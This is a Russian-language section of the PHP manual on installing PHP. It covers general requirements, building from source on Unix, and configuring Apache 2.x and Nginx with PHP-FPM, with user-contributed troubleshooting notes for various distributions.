Перед началом установки вы должны знать, для чего вы хотите использовать PHP. Вы можете использовать PHP для целей, описанных в разделе Что может PHP?

  • Создавать веб-сайты и веб-приложения (Скрипты на стороне сервера)
  • Скрипты командной строки
  • GUI-приложения (Приложения с графическим интерфейсом пользователя)

Для первой и наиболее распространённой цели вам нужны три вещи: Сам PHP, веб-сервер и веб-браузер. Вероятно, у вас уже есть веб-браузер и, в зависимости от настроек вашей операционной системы, вы также можете иметь и веб-сервер (например, Apache в Linux и macOS; IIS в Windows). Также вы можете арендовать веб-сервер или некоторое дисковое пространство на веб-сервере. В этом случае вам не нужно устанавливать дополнительное программное обеспечение, только писать PHP-скрипты, загружать их на сервер и просматривать результат их работы в браузере.

В случае установки сервера и PHP самостоятельно у вас есть два варианта установки PHP. Для многих серверов PHP может быть установлен как модуль сервера. Это возможно для таких серверов, как Apache, Microsoft Internet Information Server, Netscape и iPlanet. Если PHP не поддерживает интерфейс для вашего сервера, вы всегда можете использовать его как обработчик CGI или FastCGI. Это означает, что вы должны настроить ваш сервер так, чтобы он исполнял все PHP файлы, как CGI-скрипты.

Если вы также собираетесь использовать PHP в командной строке (для генерации изображений, обработки текстов и т.д.), то вам понадобится PHP CLI. Подробнее об этом можно прочитать в разделе Использование PHP в командной строке. В этом случае вам не понадобятся ни сервер, ни браузер.

Вы также можете создавать приложения с графическим интерфейсом, используя при этом модуль PHP-GTK. Это требует абсолютно другого подхода, чем программирование под Веб, т.к. вы не выводите HTML или текст, а управляете окнами при помощи PHP. Для получения более полной информации о PHP-GTK » посетите сайт, посвящённый этому модулю . PHP-GTK не включён в стандартную поставку PHP.

Начиная с этого момента мы будем описывать установку PHP для веб-серверов на Unix и Windows, как модуля сервера и как CGI. Вы также можете найти информацию об использовании PHP в командной строке в следующих разделах.

Исходные коды и бинарные сборки для Windows можно получить здесь: » https://www.php.net/downloads.php.

User Contributed Notes

There are no user contributed notes for this page.


Установка на Unix-системы

Содержание

  • Apache 2.x на Unix системах
  • Установка Nginx 1.4.x на систему Unix
  • Установка PHP на Lighttpd 1.4 на Unix-системах
  • Веб-сервер LiteSpeed/OpenLiteSpeed на системах Unix
  • Установка с интерфейсами CGI и командной строки
  • OpenBSD, замечания по установке
  • Инструкции по инсталляции для ОС Solaris
  • Инструкции по установке на Debian GNU/Linux

Этот раздел описывает установку и настройку PHP на Unix-системах. Пожалуйста, прочитайте все разделы, касающиеся вашей платформы или веб-сервера, прежде чем вы приступите к установке.

Как сказано в разделе Общие указания по установке, в этом разделе в основном мы описываем установку PHP, ориентированную на веб, однако мы также затрагиваем установку PHP для использования в командной строке.

Есть несколько способов установки PHP на Unix платформы. Один из них - процесс конфигурирования и компиляции исходников, другой - установка из пакетов. Этот документ сфокусирован на установке из исходных кодов. Много Unix-подобных систем имеют различные системы установки программ из пакетов. Они могут помочь при установке стандартных конфигураций, но если вам необходимы другие варианты (такие как безопасный сервер или другой драйвер базы данных), вам может потребоваться скомпилировать PHP и/или ваш веб-сервер. Если вы незнакомы с компилированием собственного программного обеспечения, то, может быть, стоит поискать готовый пакет PHP с нужными вам возможностями, собранный кем-нибудь ещё.

Для компиляции PHP из исходных кодов вам потребуется следующее:

  • Базовые знания Unix (способность обращаться с "make" и компилятором C)
  • Компилятор ANSI C
  • Веб-сервер
  • Любые компоненты, специфичные для отдельных модулей PHP (такие как библиотеки GD, PDF и т.д.)

При сборке непосредственно из исходников Git или после ручных изменений вам может также понадобиться:

  • autoconf: 2.59+ (для PHP >= 7.0.0), 2.64+ (для PHP >= 7.2.0)
  • automake: 1.4+
  • libtool: 1.4.x+ (кроме версии 1.4.2)
  • re2c: 0.13.4+
  • bison:
    • PHP 7.0 - 7.3: 2.4 и выше (включая Bison 3.x)
    • PHP 7.4: > 3.0

Общая (или начальная) конфигурация PHP задаётся параметрами скрипта configure. Вы можете просмотреть список допустимых параметров вместе с их кратким пояснением при помощи команды ./configure --help. Различные опции документированы в данном руководстве отдельно, список основных параметров можно просмотреть в приложении Основные параметры конфигурации, тогда как параметры, специфичные для различных модулей, описаны на страницах документации, посвящённых этим модулям.

Когда PHP сконфигурирован, все готово к сборке модулей и/или исполняемых файлов. Об этом должна позаботиться команда make. Если что-то не получилось и вы не можете понять почему, смотрите раздел Проблемы установки.

Замечание:

Некоторые Unix системы (такие как OpenBSD и SELinux) могут запрещать, из соображений безопасности, выделение памяти одновременно как записываемой и исполняемой. Это называется PaX MPROTECT или нарушение защиты W^X. Тем не менее, такой режим выделения памяти необходим для поддержки JIT компиляции PCRE JIT, так что в таких случаях необходимо собирать PHP без поддержки JIT компиляции PCRE, либо бинарные файлы должны быть внесены в белый список операционной системы,

Замечание: Кросс-компиляция под ARM с помощью "Android toolchain" на данный момент не поддерживается.

User Contributed Notes

cj3 at clifjackson dot net 18-Jan-2018 09:58
I recently ran in to a situation where I was building PHP 7.1.13 from source. Configuration & make went fine, however, when I ran make install it hung. It turns out that if you are building PHP with Apache (apxs) the make file calls apxs with the -a flag which tells it to modify the httpd.conf file. If, for whatever reason, the file is not writeable then it fails and you get the hang.

Line 108 in my Makefile looks like this:

INSTALL_IT = $(mkinstalldirs) '$(INSTALL_ROOT)/usr/lib64/httpd/modules' && $(mkinstalldirs) '$(INSTALL_ROOT)/etc/httpd/conf' && /usr/sbin/apxs -S LIBEXECDIR='$(INSTALL_ROOT)/usr/lib64/httpd/modules'      -S SYSCONFDIR='$(INSTALL_ROOT)/etc/httpd/conf' -i -a -n php7 libphp7.la

I had to remove the -a flag and then it was fine.


Apache 2.x на Unix системах

Этот раздел описывает установку PHP c Apache 2.x на Unix системах.

Внимание

Мы не рекомендуем использовать потоковый MPM в промышленной среде вместе с Apache 2. Вместо этого, используйте prefork MPM, используемый по умолчанию в Apache 2.0 и 2.2. Подробную информацию по этому вопросу вы можете найти в соответствующем разделе FAQ Apache2 и потоковый MPM

Самым авторитетным источником информации по Apache 2.x является » документация Apache. Более подробная информация о настройках при установке может быть найдена там.

Самая последняя версия Apache Http Server может быть получена на » странице загрузки Apache, а адрес соответствующей версии PHP был указан выше. Это краткое руководство описывает лишь базовую установку Apache 2.x и PHP. Для получения более детальной информации прочитайте » документацию Apache. В инструкции ниже опущены номера версий - замените 'NN' на номер, соответствующий скачанной вами версии Apache.

На данный момент есть две версии Apache 2.x - 2.4 и 2.2. Хотя для выбора каждой из них существуют отдельные доводы, 2.4 является наиболее свежей и рекомендуемой версией, если вас устраивает такой выбор. Тем не менее, данные инструкции будут работать как для 2.4, так и для 2.2. Обратите внимание, что Apache httpd 2.2 официально больше не поддерживается, поэтому дальнейшая разработка не будет продолжаться, также как и приниматься новые патчи.

  1. Скачайте Apache HTTP server как было указано выше и распакуйте его:

    tar -xzf httpd-2.x.NN.tar.gz

  2. Аналогично, скачайте и распакуйте исходные коды PHP:

    tar -xzf php-NN.tar.gz

  3. Скомпилируйте и установите Apache. Более подробную информацию по сборке Apache смотрите в его документации.

    cd httpd-2_x_NN
./configure --enable-so
make
make install

  4. Теперь ваш Apache 2.x.NN доступен как /usr/local/apache2, сконфигурирован с поддержкой подгружаемых модулей и стандартным мульти-процессным модулем (MPM) prefork. Чтобы протестировать правильность установки используйте стандартную процедуру запуска Apache, такую как:

    /usr/local/apache2/bin/apachectl start
    Затем остановите сервер, чтобы сконфигурировать и установить PHP:
    /usr/local/apache2/bin/apachectl stop

  5. Теперь мы сконфигурируем и соберём PHP. Здесь вы можете настроить установку PHP с помощью различных опций, указывающих, например, какие модули нужно включить. Просмотрите вывод команды ./configure --help для получения полного списка параметров конфигурации. В нашем примере мы сконфигурируем PHP очень просто - с поддержкой Apache и MySQL.

    Если вы собирали Apache из исходников, как было описано выше, то используйте путь до apxs как указано в следующем примере, иначе, корректируйте этот путь соответствующим вашей установке образом. Учтите также, что в некоторых дистрибутивах apxs может иметь имя apxs2.

    cd ../php-NN
./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-pdo-mysql
make
make install

    Если вы решите изменить параметры конфигурации после установки, вам надо будет повторить только три последних шага (configure, make, make install). Вам нужно будет только перезапустить Apache, чтобы новые модули подгрузились и начали работать. Перекомпиляция Apache для этого не требуется.

    Заметьте, что если не указано обратное, то 'make install' установит так же PEAR, различные инструменты PHP - такие как phpize, версию PHP для командной строки (PHP CLI) и т.д.

  6. Настройка вашего php.ini

    cp php.ini-development /usr/local/lib/php.ini

    Вероятно, вы захотите изменить некоторые настройки в php.ini. Если вы предпочитаете держать файл php.ini в другом месте, используйте параметр --with-config-file-path=/some/path в шаге 5.

    Если же вы используете php.ini-production, прочитайте его, чтобы знать какие изменения в поведении PHP это повлечёт.

  7. Отредактируйте ваш httpd.conf, чтобы Apache загружал модуль PHP. Путь в правой части инструкции LoadModule должен указывать на модуль PHP. Команда make install может добавить эту инструкцию автоматически, но этого может и не произойти, поэтому проверьте, чтобы убедиться.

    Для PHP 8:

    LoadModule php_module modules/libphp.so

    Для PHP 7:

    LoadModule php7_module modules/libphp7.so

  8. Теперь следует сконфигурировать Apache, чтобы он передавал файлы с некоторыми расширениями на обработку модулю PHP. В нашем примере сделаем это для .php файлов. Вместо обычного использования директивы Apache AddType, мы хотим избежать интерпретации как PHP потенциально опасных загрузок и файлов наподобие exploit.php.jpg. С помощью данного примера можно указать для интерпретации PHP любые расширения, просто добавив их в конец списка. Продемонстрируем это на расширении .php.

    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

    Или, если мы хотим добавить расширения .php, .php2, .php3, .php4, .php5, .php6 и .phtml, это можно записать так:

    <FilesMatch "\.ph(p[2-6]?|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

    Чтобы PHP отображал содержимое файлов .phps с подсветкой синтаксиса, нужно внести соответствующую директиву

    <FilesMatch "\.phps$">
    SetHandler application/x-httpd-php-source
</FilesMatch>

    Можно использовать mod_rewrite для отображения любого .php файла с подсветкой синтаксиса, без нужды его переименования в .phps:

    RewriteEngine On
RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]

    Данный фильтр, отображающий исходный код, должен быть отключён в промышленном использовании, так как он может открыть конфиденциальную или другую важную информацию, включённую в исходный код.

  9. Используйте стандартную процедуру запуска Apache, например:

    /usr/local/apache2/bin/apachectl start

    ИЛИ

    service httpd restart

Если вы следовали инструкциям выше, то на данном этапе должны иметь запущенный веб-сервер Apache2 с поддержкой PHP, как модуля SAPI. Конечно, для PHP и Apache доступно гораздо больше параметров конфигурации. Используйте ./configure --help в соответствующей папке с исходными кодами для получения полного списка параметров конфигурации.

Если вы хотите собрать многопоточную версию Apache, то при сборке вам следует указать модуль MPM worker вместо стандартного модуля MPM prefork. Чтобы сделать это, нужно добавить следующий аргумент к ./configure на шаге 3:

--with-mpm=worker

Не следует бездумно использовать эту настройку, используйте её только если вы понимаете все последствия этого решения. Документация Apache по » модулям MPM значительно глубже раскрывает эту тему.

Замечание:

Если вы хотите использовать зависимый контент (content negotiation), прочитайте Apache MultiViews FAQ.

Замечание:

Для сборки многопоточной версии Apache, ваша система должна поддерживать потоки. Это так же подразумевает сборку PHP c поддержкой Zend Thread Safety (ZTS). И, как следствие, не все модули PHP смогут работать. Рекомендуется установка Apache с модулем MPM по умолчанию - prefork.

User Contributed Notes

dfeprado at gmail dot com 21-Sep-2023 11:42
When compiling for an Ubuntu 22.04 + Apache2 HTTPD (the one that comes from the default repo), you can face the following error when starting apache2.service:

"Apache is running a threaded MPM, but your PHP Module is not compiled to be threadsafe. You need to recompile PHP."

So, I came back to PHP source and configured it like this:

$ make clean
$ ./configure [...all your build needs] --enable-zts
$ make
$ sudo make install

Then it worked.
Morning Star 03-Nov-2022 06:46
I had just installed php8.1.12 on a machine used for writing C code.

Below are some libraries that I needed to download on a debian-based OS.

apt-get install libpcre3 libpcre3-dev
apt-get install apache2-dev
apt-get install libxml2-dev
apt-get install libsqlite3-dev

These were the missing packages that I required.
If you get an error regarding a missing package or library, for example when I needed sqlite3, run the command:

apt search sqlite3

And you'll be able to see if there's any dev or lib packages.

The apache2 instructions worked flawlessly at the time of php8.1.12; and in order to get certain requirements for an application, I had to run the php configure file like so:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-pdo-mysql --with-mysqli --with-zip --enable-gd

The extra flags allowed me to use both types of mysql, allowed me to utilize PHP zip archiving, and allowed me to use Gnatt stuff.
1097625354 at qq dot com 03-Apr-2019 01:09
??PHP,??Apache 2.4.9  ??
<FilesMatch \.php$>
     SetHandler "proxy:fcgi://127.0.0.1:9000"
</FilesMatch>
Anonymous 29-Mar-2017 06:34
Building php 7.1.3 with mysql 5.7.17 and httpd 2.4.25 on Debian 8, step 5 failed for me. Instead of

--with-mysql

try

--with-pdo-mysql

or

--with-mysqli
svepa at milestone42 dot com 11-Oct-2011 08:35
On 64-bit Fedora systems (I'm using Fedora 14), configuring PHP to use the MySQL libraries installed as part of the distribution gives the following error if you follow the default instructions in this manual.

Cannot find libmysqlclient under /usr

Modifying he following invocation of configure as follows:

./configure --with-apxs2=/path/to/apxs --with-libdir=lib64 --with-mysql

should work.

Note the addition of --with-libdir=lib64
This points the configure script to look for 64-bit mysqlclient libraries.
nmmm at nmmm dot nu 09-Aug-2009 01:13
When I upgrade to apache 2.2, this:

AddType application/x-httpd-php .php5
AddType application/x-httpd-php .php42
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtm
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .asp

...does not worked for me, so I did this:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler application/x-httpd-php
</FilesMatch>

Another interesting point with Apache 2.2 is following.
Let suppose we installed PHP as module. But for some directory, we need to use PHP as CGI (probably because of custom configuration). This can be done using:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

Note type must be different than "application/x-httpd-php" and also you need to deactivate the handler on sertain extention. You can do mixed configuration:

<FilesMatch "\.(php)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

in such case files like *.php5 and so on will be parsed via module, but *.php will go to php-huge executable.
Anonymous 16-Jun-2009 10:58
Solution for fedora is yum install mysql-devel. Then set --with-mysql=/usr/include/mysql/
monguesto
Tom420.Duhamel 01-Feb-2009 05:31
I have successfully installed Apache 2.2.11 and PHP 5.2.8 under Red Hat 9.0 on a Pentium 166 with 32 MB of RAM.

While I used RH9, the worst possible case, these notes are probably good for RH-based distributions too (Red Hat Enterprise, Fedora, CentOS...)

If you want to install MySQL, it needs to be installed before PHP because PHP requires some libraries be available.

One think important when picking up a binary distribution of MySQL is to download all four packages: MySQL-server, MySQL-devel, MySQL-client and MySQL-shared. Note: The MySQL was bundled with PHP 4 but is not anymore in PHP 5.

Then you need to install Apache before PHP, because again PHP needs some libraries be available. I installed Apache 2 from source, using the very last version available, which is 2.2.11.

I installed PHP 5.2.8 from source. Here, I had a number of problems, but none which I could not resolve easily, some of them with a little help from different forums I found through Google.

Rembember: When it says you need a package named xyz and you notice there is also one named xyz-devel, grab it.

Most of the packages I got from:
http://legacy.redhat.com/pub/redhat/linux/9/en/os/i386/RedHat/RPMS/
A similar page exists for other versions of Red Hat
and:
http://rpmfind.net/
This site has an updated version of some of the packages. Make sure to use only the one labeled for you version (in my case, Red Hat 9.0) or it will not likely work.

You already have glibc and glibc-common installed, but you need to get glibc-devel and glibc-kernheaders. Make sure to match glibc's version (rpm -q glibc). Note: When it says kernel-header is a required dependency, that's glibc-kernheader (not kernel-source). You will also need binutils (no need to match the version), and gcc and cpp (version must match).

You need zlib-devel (zlib is probably already installed, match the version you have).

If you install the GD extension, the actual library is already bundled with PHP 5 (use that one, they have done some changes in there, so don't upgrade), but you will need to install libpng and libpng-devel (match version, or disable in configure if you don't want) and libjpeg (no -devel with that one).

You will also need libxml2. Now there were a problem, because PHP requires libxml2 be 2.6 or greater, but Red Hat only supplied 2.5.4-1 for RH9 (if you have a more recent distro, you might be more lucky). After looking for a while, I decided to grab the source code for the most recent distribution at the official website (http://xmlsoft.org/) and compiled.

Hope my post is useful to someone. Please, share your experience when compiling/installing for your particular platform and setup. Remember how hard it's been for you the very first time. I confess, my very first server installation took me nearly a week and I was glad others helped me.
chris@gerlt -dot- net 22-Sep-2006 06:33
Install issues on Redhat, specifically RHEL4 with php4 already installed:

I discovered that there was an issue caused by redhat loading php4 in another file seperate from the httpd.conf file!  This took me hours to discover.  Make sure you know if the apache config file (httpd.conf) is loading configurations from a directory (or another file(s)) as well.  If so, look in there for any php module loading which could conflict with the new module you are compiling/installing.
susie91 27-Aug-2006 08:34
for slackware 10.2 users with apache2, mysql5, and trying to install php5:

when following the directions above, after this step:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql

i kept getting this error:
"Unable to find MySql header files...."

the only way i could get php5 with mysql support was to compile MySql5 from source, and not use the binary as the mysql site recommends.

then i was able to ./configure successfully, but for some reason php was configured to compile the CGI version.

so, had to use this ./configure line:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql  --disable-cgi

alternatively, you could install php4 which does bundle the MySql client files.
jaya 05-Jul-2006 11:41
PHP 5.1.4 INSTALLATION on Solaris 9 (Sparc)

Solaris9 Packages Installed:

Verify required package installation:
root# pkginfo SUNWbtool SUNWsprot SUNWtoo SUNWhea SUNWarc \
SUNWlibm SUNWlibms SUNWdfbh SUNWxglh SUNWcg6h

Uninstall Default Apache Packages:
root# /etc/init.d/apache stop
root# pkginfo |grep Apache
root# pkgrm SUNWaclg SUNWapchd SUNWapchr SUNWapchu

Create installation Directory:
root# mkdir /phpdata/

Download Required Packages from Sunfreeware:

Install libiconv-1.8 and gcc3.3.2 packages
root# pkgadd -d ./libiconv-1.8-sol9-sparc-local
root# pkgadd -d ./gcc-3.3.2-sol9-sparc-local

set LD_LIBRARY_PATH, CC and PATH variables
root# LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:\
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:\
/usr/local/apr/lib:/opt/mysql/mysql/lib
root# CC=gcc
root# PATH=$PATH:/usr/ucb:/usr/local/bin/
root# export LD_LIBRARY_PATH CC PATH

Install apr-1.2.2 and aprutil-1.2.2 packages

root# gzcat apr-1.2.2.tar.gz |tar xvf -
root# cd apr-1.2.2
root# ./configure
root# make
root# make install
root# cd ..

root# gzcat aprutil-1.2.2.tar.gz |tar xvf -
root# cd apr-util-1.2.2/
root# ./configure --with-apr=/usr/local/apr/
root# make
root# make install

Install gawk-3.1.4, expat-1.95.5, db-4.2.52.NC,
gdbm-1.8.3, libgcc-3.3 and libxml2-2.6.16 packages
root# cd ..
root# pkgadd -d ./gawk-3.1.4-sol9-sparc-local
root# pkgadd -d ./expat-1.95.5-sol9-sparc-local
root# pkgadd -d ./db-4.2.52.NC-sol9-sparc-local
root# pkgadd -d ./gdbm-1.8.3-sol9-sparc-local
root# pkgadd -d ./libgcc-3.3-sol9-sparc-local
root# pkgadd -d ./libxml2-2.6.16-sol9-sparc-local

Install GNU make package
root# gzcat make-3.81.tar.gz |tar xvf -
root# cd make-3.81
root# ./configure
root# make
root# make install
root# cd ..

Install mysql-standard-5.0.22 package
Search for user mysql
root# grep mysql /etc/passwd
root# grep mysql /etc/group

If not found create user and group mysql
root# groupadd mysql
root# useradd -G mysql mysql
root# pkgadd -d ./mysql-standard-5.0.22-solaris9-sparc.pkg.gz

Install openssl-0.9.7g package
root# gzcat openssl-0.9.7g.tar.gz |tar xvf -
root# cd openssl-0.9.7g
root# ./config shared
root# make
root# make install
root# cd ..

Install Apache2 package
root# gzcat httpd-2.2.0.tar.gz |tar xvf -
root# cd httpd-2.2.0
root# ./configure --enable-so
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cd ..

Install php-5.1.4 package
root# gzcat php-5.1.4.tar.gz |tar xvf -
root# cd php-5.1.4
root# ./configure --with-apxs2=/usr/local/apache2/bin/apxs\
--with-ldap --with-mysql=/opt/mysql/mysql/
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cp php.ini-dist /usr/local/lib/php.ini

Edit httpd.conf to load the PHP module
and to parse certain extensions as PHP
root# vi /usr/local/apache2/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml

Start Apache
root# /usr/local/apache2/bin/apachectl start

Add environmental variables below HTTPD
root# vi /usr/local/apache2/bin/apachectl
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:
/usr/local/apr/lib:/opt/mysql/mysql/lib
PATH=/bin:/sbin:/usr/ccs/bin:/usr/sbin:/usr/openwin/bin:\
/usr/ucb:/usr/local/bin/
export LD_LIBRARY_PATH PATH

Create Apache Startup Script
felixcca at yahoo dot ca 29-Mar-2006 06:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
frank@ethisoft 28-Sep-2005 02:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org 03-Aug-2005 04:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
neil 10-Feb-2005 02:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
Dan Scott (dan dot scott at acm dot org) 19-Jan-2005 08:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
praveen dot k at masconit dot com 15-Nov-2004 01:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen


Установка Nginx 1.4.x на систему Unix

Данная документация описывает процесс установки и настройки PHP с PHP-FPM для Nginx 1.4.x HTTP сервера.

Данное руководство подразумевает, что вы собрали Nginx из исходников, следовательно, все бинарные файлы и файлы конфигурации располагаются в /usr/local/nginx. Если нет, и вы получили Nginx другим способом, тогда, пожалуйста, обратитесь к » Nginx Wiki, чтобы перевести данное руководство для вашей установки.

Данное руководство охватывает азы настройки Nginx сервера, для обработки PHP приложений и отображения их на порту 80. Рекомендуется изучить документацию Nginx и PHP-FPM, если вы хотите оптимизировать вашу установку за рамками данной документации.

Пожалуйста, обратите внимание, что во всей данной документации номера версий были заменены на 'x', чтобы данная документация оставалась корректной в будущем. Пожалуйста, замените 'x' на необходимый вам номер версии.

  1. Рекомендуется посетить » страницу установки на Nginx Wiki, для информации о получении и установке Nginx.

  2. Получение и распаковка исходники PHP:

    tar zxf php-x.x.x

  3. Настройка и сборка PHP. В этом разделе описывается настройка и сборка PHP из исходных кодов. Запустите ./configure --help для получения списка доступных опций. В нашем примере мы сделаем простые настройки с PHP-FPM и поддержкой MySQLi.

    cd ../php-x.x.x
./configure --enable-fpm --with-mysqli
make
sudo make install

  4. Перемещение файлов настройки в нужные директории

    cp php.ini-development /usr/local/php/php.ini
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
cp sapi/fpm/php-fpm /usr/local/bin

  5. Важно, что мы запрещаем Nginx от отправлять запросы в бэкенд PHP-FPM, если файл не существует, что помогает избежать атаки инъекции скрипта.

    Мы может исправить это путём установки директивы cgi.fix_pathinfo равной 0 в нашем php.ini файле.

    Редактирование php.ini:

    vim /usr/local/php/php.ini

    Найдите опцию cgi.fix_pathinfo= и измените её следующим образом:

    cgi.fix_pathinfo=0

  6. php-fpm.conf должен быть модифицирован, чтобы точно определить, что php-fpm должен работать под пользователем www-data и группой www-data до того, как мы запустим сервис:

    vim /usr/local/etc/php-fpm.d/www.conf

    Найдите и измените следующее:

    ; Unix user/group of processes
; Замечание: Пользователь является обязательным. Если группа не установлена,
; то будет использована стандартная группа пользователя.
user = www-data
group = www-data

    Теперь можно запускать сервис php-fpm:

    /usr/local/bin/php-fpm

    Более в этом руководстве мы не будет касаться настройки php-fpm. Если вам необходимо произвести дополнительные настройки - обратитесь к документации по php-fpm.

  7. Теперь Nginx должен быть настроен на поддержку выполнения PHP:

    vim /usr/local/nginx/conf/nginx.conf

    Измените блок "location", заданный по умолчанию, так, чтобы можно было обрабатывать .php файлы:

    location / {
    root   html;
    index  index.php index.html index.htm;
}

    Следующий шаг - убедиться, что .php файлы отправляются в бэкенд PHP-FPM. Введите следующее:

    location ~* \.php$ {
    fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    Перезапустите Nginx.

    sudo /usr/local/nginx/sbin/nginx -s stop
sudo /usr/local/nginx/sbin/nginx

  8. Создайте тестовый файл

    rm /usr/local/nginx/html/index.html
echo "<?php phpinfo(); ?>" >> /usr/local/nginx/html/index.php

    Теперь откройте в браузере http://localhost. Должна отобразиться информация phpinfo().

Следуя вышеуказанным шагам, вы получите рабочий Nginx сервер с поддержкой PHP как модуля FPM SAPI. Конечно, доступно большое число опций настроек для Nginx и PHP. Для более подробной информации наберите ./configure --help в соответствующем дереве исходных кодов.

User Contributed Notes

timy.shark 30-May-2022 07:33
Great effort for this tutorial, thanks a ton, here are my notes if may help anyone, considering default install on WSL2 container
Note: composer added for Laravel framework.
These are NOT to be copy and pasted as it is, need to be selective as there are annotations beside some commands,
Also I've commented # some of the defaults written by the original editor due to mismatch to my current environment.

sha256sum  php-x.x.x.tar.gz => e847745fd66fc8c57fac993a609fefcded93fddccd225f0620a26bb5ae5753c3
    tar zxf php-x.x.x
    sudo apt install build-essential
    sudo apt install -y composer nginx pkgconf libxml2-dev  libsqlite3-dev zlib1g-dev
    cd php-x.x.x
    ./configure --enable-fpm --with-mysqli <==Thank you for installing PHP.
        make <== takes a while
    sudo make test <== optional as recommended
    sudo make install <= /usr/local/bin /usr/local/php
    sudo cp php.ini-development /usr/local/lib/php.ini
    sudo cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
    sudo cp sapi/fpm/php-fpm /usr/local/bin
    sudo vim /usr/local/php/php.ini <= cgi.fix_pathinfo=0
    sudo vim /usr/local/etc/php-fpm.d/www.conf <= user=www-data group=www-data
    sudo vim sapi/fpm/php-fpm.conf <= edit include=etc/php-fpm.d/*.conf  <- relative path
    sudo cp sapi/fpm/php-fpm.conf /usr/local/etc
    /usr/local/bin/php -v <= $PATH$ uses /usr/local/bin at first /usr/local/lib/php.ini
    sudo /usr/local/bin/php-fpm <= start the service
    sudo vim /etc/nginx/sites-available/default <= edit the following under server {}
    location / {
    #root   html;
    #index  index.php index.html index.htm;
}
    location ~* \.php$ {
    #fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    *Restart nginx (root /var/www/html) if root path doesn't exist, default is: /usr/share/nginx/html
    sudo nginx -t <= Test Nginx conf files
    sudo service nginx reload
    sudo service nginx stop
    sudo service nginx start <= [OK]

php-fpm needs to be in a service, or kill process manually ps -aux | grep php-fpm ; kill <pid>
Leon Nguyen vnlab 30-Jul-2021 04:46
To maximize the server performance with highest speed, with fewest resources, i have decided to compile PHP 8 manually from minimal Linux/Unix-based OS (my Linux distro is rpm-based packages)

My system has successfully powered up by PHP 8.0.9 - with Opcache/JIT enabled & other several PHP extension module. Here is several experience that may save you several hours of research.

